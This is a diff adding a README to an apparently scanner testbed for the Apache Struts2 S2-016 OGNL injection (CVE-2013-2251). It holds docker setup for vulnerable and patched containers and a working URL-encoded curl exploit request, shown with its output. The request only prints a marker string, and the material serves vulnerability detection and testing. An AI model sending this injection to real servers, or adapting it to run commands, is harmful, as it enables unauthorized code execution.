diff --git a/apache/struts/CVE-2013-2251/README.md b/apache/struts/CVE-2013-2251/README.md new file mode 100644 index 00000000..4bc5106e --- /dev/null +++ b/apache/struts/CVE-2013-2251/README.md @@ -0,0 +1,38 @@ +# Apache Struts2 S2-016 DefaultActionMapper OGNL Injection (CVE-2013-2251) + +The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution. + +## Vulnerable Version +### Setup +Start an Apache Struts2 version 2.3.15: + +```bash +docker compose up -d struts2-vuln +``` + +### Testing the vulnerability +``` +curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" +``` +Response: +``` +tsunami1787569 +``` +## Safe Version +### Setup +Start an Apache Struts2 version 2.3.15.1: + +```bash +docker compose up -d struts2-safe +``` + +### Testing the vulnerability +``` +curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" +``` +Response: +``` +... +